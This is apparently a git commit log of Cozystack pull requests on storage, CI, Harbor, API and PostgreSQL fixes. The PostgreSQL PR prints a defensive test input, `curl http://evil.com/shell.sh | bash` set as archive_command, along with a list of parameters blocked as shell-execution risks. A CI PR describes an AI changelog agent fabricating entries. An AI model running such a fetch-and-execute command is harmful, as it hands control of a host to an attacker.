Clarify that consumers of the credentials secret need a pod restart to
pick up the new password, custom user secrets are unaffected, and the
legacy namespace-shared secret is left orphaned and must be cleaned up
manually.

Signed-off-by: Arsolitt <arsolitt@gmail.com>
2026-04-30 16:41:00 +03:00
Andrei Kvapil 6c2dba9b21 fix(linstor): retry drbdadm secondary after mkfs on transient EBUSY (#2538)
## What this PR does

Adds a fifth piraeus-server patch that retries `drbdadm secondary` after
`mkfs` when DRBD reports the device as held open by an external process.

### Problem

On Talos (and any system with active block-device probing — udev,
multipathd, etc.) the kernel uevent for a freshly-promoted DRBD device
causes an external probe to `open()` the device for superblock
inspection. If LINSTOR satellite issues `drbdadm secondary` while the
probe still holds the fd, DRBD returns `(-12) Device is held open by
someone` and aborts initialization with `StorageException: Failed to
become secondary again after creating filesystem`.

The satellite never reports the final `UpToDate` event to the
controller, so the controller view stays in `SyncTarget(N%) /
Inconsistent / DELETING` permanently — even though the DRBD kernel state
on the satellite is `Established/UpToDate`. This blocks cleanup of
orphan PVs in `Released` phase and accumulates with every PVC creation.

Observed in production on Talos 1.10 / LINSTOR 1.33.2: 4 occurrences in
24 hours across 3 nodes for different PVCs. Manual recovery requires
`drbdadm down/up` on the Primary to force the satellite to re-report
state.

### Fix

New `secondaryAfterMkfs()` wrapper in `DrbdAdm.java`:

- 7 attempts of `drbdadm secondary` with exponential backoff (250 ms → 2
s, capped)
- Retry only triggers when stderr contains `Device is held open by
someone`; any other failure fails fast as before
- Existing `secondary()` contract is unchanged — only
`DrbdPrimary.close()` (the post-mkfs demotion path) is rerouted to the
new wrapper

The retry window covers ~10 s in the worst case, which comfortably
exceeds typical probe durations (probes release the fd within
milliseconds).

### Related upstream

-
[LINBIT/linstor-server#268](https://github.com/LINBIT/linstor-server/issues/268)
— open since 2022, identical symptom, no upstream fix
- [LINBIT/drbd#74](https://github.com/LINBIT/drbd/issues/74) — same
EBUSY pattern with multipathd holding the fd

### Validation

- `git apply *.diff` on a fresh `v1.33.2` checkout applies all five
patches cleanly in alphabetical order
- Java brace/paren/bracket balance verified on the patched file
- `helm template packages/system/linstor` renders without errors

### Release note

```release-note
fix(linstor): retry `drbdadm secondary` after mkfs on transient `Device is held open by someone` errors. Prevents orphan PVs in `Released` phase from accumulating when an external block-device probe (Talos block-controller, udev, multipathd) wins a race against the post-mkfs demotion. Fail-fast behavior preserved for any other secondary failure.
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Implemented automatic retry logic for device secondary state
transitions after filesystem creation. System now gracefully handles
scenarios where devices are temporarily held open by other processes.

* **Documentation**
  * Added documentation for the new device state transition patch.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-04-30 15:17:55 +02:00
Andrei Kvapil a4bd2741d6 fix(linstor): plunger demotes idle-Primary DRBD resources (#2539)
## What this PR does

Adds a per-satellite plunger handler that detects DRBD resources
stuck in `Primary` on the local node with no consumer and demotes
them to `Secondary`.

### Background

DRBD auto-promotes a resource to `Primary` during the provisioning
path (`mkfs.ext4` against a freshly created replica, for example),
but auto-demote sometimes fails to fire on close. The resource then
stays `Primary` on a node that has no consumer pod, and CSI on the
legitimate target node fails `NodePublishVolume` with:

```
failed to set source device readwrite: exit status 1
```

The only recovery is an explicit `drbdadm secondary` on the stuck
node — there is no upstream automation for it.

This was hit deterministically in Cozystack e2e CI on freshly
provisioned PVCs without any pod migration or node failure. Upstream
tracker: piraeusdatastore/piraeus-operator#942 (and the related
piraeusdatastore/linstor-csi#172).

### Implementation

In `plunger-satellite.sh` (already running as a privileged sidecar
on every linstor-satellite pod) add `drbd_fix_idle_primary`:

```jq
.[]?
| select(.role == "Primary")
| select(all(.devices[]?; .open == false))
| .name
```

For every match, run `drbdadm secondary <res>`.

### Why this is safe

- `open == false` on **every** device of the resource means no reader
  or writer holds the block device — the demote cannot interrupt I/O.
- Both detection and action are local to the satellite, no peer
  coordination needed.
- If a real consumer is about to arrive, DRBD auto-promote will redo
  the promotion when CSI opens the device — so even a misfire is a
  no-op.
- The jq filter was validated against a live multi-node cluster
  (3 nodes, 22 legitimate Primaries, 0 false positives — every
  legitimate Primary has at least one `open: true` volume).

### Release note

```release-note
fix(linstor): plunger now demotes DRBD resources stuck in Primary
without a consumer, fixing transient `failed to set source device
readwrite` mount errors during PVC provisioning.
```

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Enhanced DRBD resource management with automatic remediation for idle
Primary resources. The system now detects resources lacking active
device connections and safely demotes them to Secondary state during
routine maintenance cycles. Robust error handling preserves existing
recovery procedures while improving overall system stability and
preventing potential resource conflicts.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-04-30 15:17:17 +02:00
myasnikovdaniil 30729d7f00 fix(ci): generate changelog from release tag, not from main (#2530)
## What this PR does

The `generate-changelog` job in `.github/workflows/tags.yaml` previously
checked out `main` and ran the AI agent there. The agent followed
`docs/agents/changelog.md`, which instructed it to compute the release
range with `git log <previous_version>..HEAD`. That works for minor
releases (cut from `main`), but it breaks for any patch release cut from
a `release-X.Y` branch — `HEAD-on-main` is a strict superset of the tag
and contains commits that were merged to `main` both before and after
the tag.

The v1.3.1 changelog generated by this workflow (#2480) demonstrated the
failure mode: 8 PRs that were merged to `main` but never shipped in
v1.3.1, 6 backport PRs that landed on `release-1.3` *after* v1.3.1 was
tagged, both originals and their backports as separate entries, a
hallucinated 2024 PR (#435), and the `cozystack-ci` bot in the
contributors list. The corrected v1.3.1 changelog is in #2480.

This PR fixes the root cause and tightens the agent guardrails:

* **`tags.yaml`** — check out the release tag commit (`ref: ${{
steps.tag.outputs.tag }}`) instead of `main`, so `HEAD == release
commit` and `git log v<prev>..HEAD` corresponds to what the tag actually
contains. The "Create changelog branch" step still creates the PR branch
from `origin/main`, so PRs continue to merge cleanly.
* **`tags.yaml`** — the AI prompt now states explicitly that `HEAD` is
the release commit and that the upper bound of the range is the new tag,
never `main`.
* **`docs/agents/changelog.md`** — every example replaces `..HEAD` with
`..v<new_version>`, so the instruction is unambiguous regardless of
which branch is checked out.
* **`docs/agents/changelog.md`** — hard rule: backport PRs MUST be
combined with the original into a single entry (`#1606, backport
#1609`), never listed as a second entry. Documented edge case: if the
original isn't in the range, drop the entry entirely (it shipped in a
previous release).
* **`docs/agents/changelog.md`** — forbid using the brief description
verbatim as the detailed description (the failure was `* **fix(foo):
X**: fix(foo): X (...)`), and forbid inventing entries for PRs outside
the release range.
* **`docs/agents/changelog.md`** — filter bot/CI accounts (`app/*`,
`*[bot]`, `cozystack-ci`, `github-actions`, `dependabot`, `renovate`)
out of the human Contributors list. Bot attribution on individual
entries is still valid.

The v1.3.1 changelog correction itself lives in #2480 (separate scope).

### Release note

```release-note
fix(ci): tags.yaml now generates the release changelog from the tag commit instead of `main`, fixing patch-release changelogs (e.g. v1.3.1) that previously included unrelated commits from `main`. The AI prompt and `docs/agents/changelog.md` were tightened to forbid duplicate backport entries, title-as-description, fabricated PRs, and bot accounts in the Contributors list.
```

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Changelog generation now checks out the release tag commit and
verifies whether the release changelog already exists on main before
generating.
* Updated prompts and tooling to treat the release tag as the upper
bound and avoid using HEAD when computing diffs.
* Enforced combining original and backport PRs into single changelog
entries with explicit “backport #…”.

* **Documentation**
* Strengthened authoring rules (distinct brief/detail, forbid invented
entries, PRs must fall within tag-to-tag ranges).
* Updated examples and guidance to use tag-to-tag comparisons and
improved contributor extraction to use bold @user attribution while
excluding automation accounts and the current release file.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-04-30 17:20:58 +05:00
Myasnikov Daniil 4ecb8fb0d6 test(harbor): add helm-unittest coverage for bucket-secret guards
`hack/helm-unit-tests.sh` auto-discovers any package whose Makefile has
a `test` target. `packages/system/harbor` had none, so the conditional
rendering of `bucket-secret.yaml` (the path this PR actively reshapes)
was un-asserted in CI and the bucket-secret guard would not be pinned
against future refactors.

Add the canonical `test: helm unittest .` target, matching every other
`packages/system/*` package that ships a `tests/` directory
(linstor-scheduler, linstor-gui, cozystack-scheduler, nfs-driver).

Add `tests/bucket_secret_test.yaml` with seven cases covering: spec
absent, spec empty, secretS3 absent, secretS3 empty, secretS3 partial
(only one inner field), bucketName missing, and fully populated. The
first six assert no Secret is rendered; the last asserts the four
expected `stringData` entries plus the static region. 7/7 pass locally
(`bash hack/helm-unit-tests.sh`).

Assisted-By: Claude <noreply@anthropic.com>
Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
2026-04-30 16:40:26 +05:00
Myasnikov Daniil 5fb337de19 fix(harbor): guard registry-s3 render against partial BucketInfo
The COSI BucketAccess controller is expected to populate `BucketInfo`
atomically, but the prior guard (`with .Values.spec` / `with .secretS3`)
only short-circuits on missing or empty inputs. A partially populated
`secretS3` would still emit the registry-s3 Secret with empty
`accessSecretKey`/`endpoint` values, and a missing `bucketName` was
not guarded at all — silently breaking Harbor's S3 storage backend.

Tighten the inner guard to require all four required fields
(accessKeyID, accessSecretKey, endpoint, bucketName) before the Secret
is emitted, so partial input falls into the no-render path alongside
unset/empty. The body now uses dot-access on `.secretS3` for
consistency with the new gate. Behaviour for fully populated input is
unchanged.

Assisted-By: Claude <noreply@anthropic.com>
Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
2026-04-30 16:40:15 +05:00
Arsolitt 22d2a224bb test(kubernetes): rename ephemeralStorage to diskSize in kubelet tests
PR #2454 renamed the nodeGroups field ephemeralStorage to diskSize and
added a migration guard that fails template rendering when the old name
is used. Update kubelet reservation tests to use the new field name.

Signed-off-by: Arsolitt <arsolitt@gmail.com>
2026-04-30 14:14:23 +03:00
Arsolitt d4808b9674 merge: resolve conflicts with main after PR #2454
Merge origin/main into feat/kubernetes-kubelet-reserved-resources.

PR #2454 (persistent storage for worker nodes) landed in main and
touched the same nodeGroups schema. Conflicts resolved by keeping
both feature sets (kubelet reservations + persistent storage):

- api/apps/v1alpha1/kubernetes/types.go: merged kubebuilder default
  marker with all keys from both features
- packages/apps/kubernetes/README.md: merged Parameters table with
  diskSize/storageClass + kubelet* rows
- packages/system/kubernetes-rd/cozyrds/kubernetes.yaml: merged
  openAPISchema and keysOrder, dropped stale ephemeralStorage path

Signed-off-by: Arsolitt <arsolitt@gmail.com>
2026-04-30 13:51:28 +03:00
Myasnikov Daniil 39605f213f docs(agents,ci): finish "tag-not-HEAD" sweep and fix changelog-exists gate
- tags.yaml: the check_changelog step now looks at origin/main rather than
  the working tree. After Round 2 we check out the release tag, which never
  has the changelog file (the PR opened by this job merges to main after
  the tag is cut), so the previous `[ -f ]` test always returned false and
  the gate was effectively dead on reruns.
- changelog.md: Step 6's `RELEASE_END=$(git log -1 --format=%ai HEAD)`
  (lines 179, 222) was missed in the previous "never HEAD" sweep — now
  uses v<new_version>, matching Step 5.
- changelog.md: Step 2 ("on main branch") was incompatible with the CI flow
  which now runs detached at the release tag. Relaxed it to list both
  configurations (interactive on main; CI detached at v<version>), while
  the "Scope and boundaries" section continues to forbid the agent from
  switching branches.

Assisted-By: Claude <noreply@anthropic.com>
Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
2026-04-30 15:01:48 +05:00
myasnikovdaniil d6cafd72dc fix(ci): pass app token to Publish draft release step (#2532)
## What this PR does

Adds an explicit `github-token: ${{ steps.app-token.outputs.token }}` to
the `Publish draft release` step in
`.github/workflows/pull-requests-release.yaml`.

Without this, the step uses the workflow's default `GITHUB_TOKEN`, which
does not return draft releases via `listReleases`. As a result the
script throws `Draft release for vX.Y.Z not found` on every
release-X.Y.Z PR merge — see e.g. the recent v1.3.1 finalize run
https://github.com/cozystack/cozystack/actions/runs/25102689625, plus
identical failures on v1.3.0, v1.0.0-beta.5, v1.0.0-alpha.2, v0.39.4,
v0.32.x, v0.31.x. Maintainers have been undrafting each release
manually.

This bug was fixed once before in 4db55ac5eb (`[ci] Add Github token
to fetch draft releases`) by setting `github-token: ${{ secrets.GH_PAT
}}` on the listing step. It was lost in the refactor in 66a756b6
(`fix(ci): ensure correct latest release after backport publishing`),
which collapsed the separate `Find draft release` / `Calculate publish
flags` / `Publish draft release` steps into one combined step without
carrying the `github-token` over. The April 2026 App-token migration in
f96b2da1 only updated steps that already had a `github-token:` field, so
the publish step was left with the default token.

### Release note

```release-note
fix(ci): release finalization now uses the cozystack-ci App token to publish drafts, fixing "Draft release not found" errors on every release tag.
```

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
* Updated internal CI/CD workflow authentication mechanism to enhance
security protocols.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-04-30 14:57:11 +05:00
Aleksei Sviridkin dff5f8d19a feat(kubernetes)!: replace ephemeral emptyDisk with persistent storage for worker nodes (#2454)
## What this PR does

Replace the ephemeral `emptyDisk` volume on tenant Kubernetes worker VMs
with persistent PVC-backed storage via KubeVirt `dataVolumeTemplates`.
Previously, kubelet certificates, kubeconfig, and containerd state were
lost on VM reboot, causing the node to fall out of the tenant cluster.

**Changes:**

- Rename `ephemeralStorage` field to `diskSize` in NodeGroup
configuration
- Replace `emptyDisk` volume with `dataVolumeTemplates` using CDI blank
source
- Add `cdi.kubevirt.io/storage.usePopulator: "false"` annotation to work
around CDI volume population issues with LINSTOR CSI
- Add optional per-nodeGroup `storageClass` field (defaults to cluster
default)
- Set fixed 2Gi ephemeral-storage resource for virt-launcher pod
- Rename internal mount paths from `/ephemeral` to `/persistent`
- Add helm unit tests (`cluster_test.yaml`) covering dataVolumeTemplates
defaults, custom disk size, storageClass presence/absence, fixed
ephemeral-storage, disk name consistency, and CDI populator annotation
- Quote storage values in templates (`diskSize`, `storageClassName`) for
Helm correctness
- Guard bind-mount commands with `mountpoint -q` checks and create
target directories to handle fresh images and cloud-init retries
- Set `blockSize.matchVolume` on worker node disks for automatic block
size detection, fixing DRBD 4Kn compatibility with QEMU

**Known gotchas:**

- CDI volume population (prime PVC rebind) causes `ClaimMisbound` errors
with LINSTOR CSI driver, regardless of StorageClass (`replicated` or
`local`). The `usePopulator: false` annotation switches to the legacy
import path which works correctly. This is a known CDI issue documented
in
[kubevirt/containerized-data-importer#3146](https://github.com/kubevirt/containerized-data-importer/issues/3146).
- The `replicated` StorageClass with DRBD `suspend-io` quorum policy can
cause transient VM IO errors during LINSTOR satellite restarts (quorum
loss). The `local` StorageClass is recommended for worker node disks.
When `storageClass` is not specified in a nodeGroup, the cluster default
StorageClass is used.
- Existing clusters will trigger a rolling replacement of all worker
nodes on upgrade due to changed KubevirtMachineTemplate hash.
- DRBD volumes use 4096-byte logical sectors (`block-size 4096`).
Without explicit block size configuration, QEMU defaults to 512-byte
sectors, causing immediate IO errors and VM pause. The
`blockSize.matchVolume` setting in the disk spec ensures KubeVirt
auto-detects the correct sector size from the volume.

**Tested on a live cluster:**

- Verified DataVolume provisioning with `local` StorageClass
- Verified nodes join the tenant cluster and reach Ready state
- Verified node survives VM reboot (pod deletion) and returns to Ready
with the same Node object, reusing kubelet certificates from persistent
disk

### Screenshots

N/A — no UI changes.

### Release note

```release-note
feat(kubernetes)!: replace ephemeral emptyDisk with persistent storage for worker nodes

Worker node VMs now use persistent PVC-backed disks instead of ephemeral emptyDisk volumes. Kubelet certificates, kubeconfig, and containerd state survive VM reboots, preventing nodes from falling out of the tenant cluster.

BREAKING CHANGE: The `ephemeralStorage` field in nodeGroups has been renamed to `diskSize`. A new optional `storageClass` field allows per-nodeGroup storage class selection. Users must update their values overrides accordingly.

Worker node disks now use `blockSize.matchVolume` to automatically detect the underlying volume's sector size, ensuring compatibility with DRBD-backed storage classes that use 4096-byte logical sectors.
```

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Optional storageClass parameter to select storage class for worker
node persistent disks (defaults to cluster default).
  * Makefile test target added to run Helm unit tests for the chart.

* **Configuration Changes**
* Worker node storage parameter renamed from ephemeralStorage to
diskSize (default: 20Gi).
* Kubelet/containerd state moved to persistent disk paths and node
ephemeral-storage accounting fixed to 2Gi; disk provisioning aligns
block sizing with backing volumes.

* **Documentation**
* Updated docs and chart/schema to reflect the persistent disk model and
new fields.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-04-30 12:41:34 +03:00
Aleksei Sviridkin 4dbd4b0b85 fix(harbor): mark credentials Secret with user-secret label (#2541)
## What this PR does

- Stamps the Helm-managed `{{ .Release.Name }}-credentials` Secret with
`apps.cozystack.io/user-secret: "true"`.
- Adds a `matchLabels` rule to `secrets.include` in the Harbor
`ApplicationDefinition`, alongside the existing `resourceNames` entry.

The lineage webhook decides whether a Secret is tenant-visible by
matching its name against the `secrets.include[].resourceNames` template
in the corresponding `ApplicationDefinition`. For Harbor the template
`{{ .name }}-credentials` renders to `{name}-credentials` and does not
account for the `release.prefix: "harbor-"` set in the same definition,
while the Helm chart actually creates `harbor-{name}-credentials`. The
names never match, so the Secret ends up labelled
`internal.cozystack.io/tenantresource=false` and never appears in the
TenantSecrets API.

This change follows the existing `apps.cozystack.io/user-secret: "true"`
pattern already used by Bucket
(`packages/system/bucket/templates/user-credentials.yaml`) and RabbitMQ
(`packages/apps/rabbitmq/templates/rabbitmq.yaml`). The webhook then
matches via labels and is independent of how Helm names the Secret.

### Screenshots

Not applicable — no UI changes in this PR.

### Release note

```release-note
fix(harbor): expose Harbor credentials Secret to tenant-aware clients by marking it with the `apps.cozystack.io/user-secret` label, mirroring the pattern already used by Bucket and RabbitMQ.
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
* Updated Harbor configuration to support label-based secret discovery
alongside existing name-based selection, improving secret management
reliability.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-04-30 12:40:48 +03:00
Aleksei Sviridkin 5278a632bc fix(api): apply labelSelector in TenantSecret Watch (#2542)
## What this PR does

- Merges `opts.LabelSelector` into the underlying watch selector in
`TenantSecret.Watch()`, mirroring the behaviour `List()` already has.
- Handles non-selectable selectors (e.g. `labels.Nothing()`) by
returning a watcher with a closed result channel.
- Adds a defensive post-filter in the streaming goroutine so events
never escape the requested selector even if a future client
implementation skips label filtering on watch.
- Adds `rest_test.go` covering label-selector merging in `List` and the
new `Watch` filtering behaviour.

`Watch()` previously ignored `opts.LabelSelector` entirely; only the
required `internal.cozystack.io/tenantresource=true` label was passed
through. As a result, watch consumers (e.g. dashboards using cached
client subscriptions) saw every tenant Secret in the namespace
regardless of the selector they requested. `List()` already merged the
user selector correctly, so the inconsistency was easy to miss.

The `Watch` unit test creates Secrets after the watch starts because
`sigs.k8s.io/controller-runtime/pkg/client/fake.Client.Watch` does not
emit initial ADDED events for objects already in the tracker; this still
exercises the merged-selector path through the defensive post-filter.

### Screenshots

Not applicable — backend-only change.

### Release note

```release-note
fix(api): TenantSecret watch endpoint now honors `labelSelector`, returning only matching Secrets in event streams instead of every tenant Secret in the namespace.
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Improved label selector handling for tenant secret listing and
watching: special selectors are recognized, non-selectable selectors
return empty results or a closed watch, and watched events are
defensively filtered so only matching items are delivered.

* **Tests**
* Added comprehensive tests covering listing and watch behaviors across
various label selector scenarios to prevent leaks and ensure correct
event delivery.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-04-30 12:40:32 +03:00
Aleksei Sviridkin d9f95614bf feat(postgres): support all PostgreSQL configuration parameters (#2466)
## Summary

Enable configuration of any PostgreSQL server parameter through
`postgresql.parameters`, not just `max_connections`, with built-in
security protection against dangerous parameters.

## Problem

Previously, the Postgres application only applied `max_connections` from
`postgresql.parameters`. All other standard PostgreSQL parameters (e.g.,
`bgwriter_delay`, `commit_delay`, `shared_buffers`) were silently
ignored.

This limitation existed because:
- Helm template only processed `max_connections` explicitly
- JSON schema blocked additional properties

CloudNativePG supports any PostgreSQL parameter, so this restriction was
artificial.

## Solution

Changed `postgresql.parameters` from a struct with a single field to
`map[string]string`:

- **values.yaml**: Changed parameter type to map with usage examples and
warnings
- **values.schema.json**: Added `additionalProperties` to allow any
parameter
- **templates/db.yaml**: Use `merge` to combine defaults with user
parameters, preventing duplication
- **Security validation**: Block parameters that could allow shell
command execution
- **types.go**: Auto-regenerated with new structure (manual fix for
groupName)
- **README.md**: Added comprehensive warnings about blocked parameters,
CloudNativePG-managed parameters, restart requirements, and security
considerations
- **CRD**: Updated in postgres-rd

## Security Features

**Blocked parameters** (will fail deployment with clear error):
- `archive_command` — could execute shell commands during WAL archiving
- `restore_command` — could execute shell commands during recovery
- `ssl_passphrase_command` — could execute shell commands for SSL key
decryption
- `log_destination` — could redirect logs to shell pipes
- `event_source` — could be exploited for command injection

These parameters pose severe security risks and could allow arbitrary
code execution in PostgreSQL pods, potentially leading to pod escape and
privilege escalation in multi-tenant environments.

## Key Features

- **Security first**: Validates and blocks dangerous parameters
- **No duplication**: `max_wal_senders` default can be overridden
without conflicts
- **User priority**: User-specified parameters override defaults
- **Comprehensive warnings**: Documentation covers blocked parameters,
managed parameters, restart requirements, and security risks

## Testing

Verified with `helm template`:

**Basic parameters work:**
```yaml
postgresql:
  parameters:
    max_connections: "200"
    shared_buffers: "1GB"
    work_mem: "256MB"
```

**Dangerous parameters are blocked:**
```yaml
postgresql:
  parameters:
    archive_command: "curl http://evil.com/shell.sh | bash"
```
Results in: `SECURITY: Parameter 'archive_command' is blocked for
security reasons...`

**Override defaults:**
```yaml
postgresql:
  parameters:
    max_wal_senders: "50"  # Overrides default "30"
```

All values are converted to strings as required by CloudNativePG.

## Breaking Changes

**`postgresql.parameters.max_connections`** now expects a string value
(`"100"`) instead of integer.

**Impact**: Existing configurations using integer values will be
automatically converted by Helm templating, but explicit string values
are recommended for clarity.

**Migration**: Change `max_connections: 100` to `max_connections: "100"`
in values.

## Documentation

Added warnings about:
- Blocked parameters (security)
- CloudNativePG-managed parameters (do not override)
- Parameters requiring pod restart
- Security-sensitive parameters

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Rendering now fails fast if blocked/sensitive PostgreSQL parameters
are supplied.
  * Chart supplies a default for WAL senders during values merge.

* **Refactor**
* PostgreSQL parameters changed to a flexible map of string→string;
numeric values must be quoted (e.g., "100").

* **Documentation**
* Docs and schemas updated with string-only guidance, default values
(e.g., "100") and warnings about managed parameters.

* **Tests**
  * E2E test values updated to use quoted parameter values.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-04-30 12:39:05 +03:00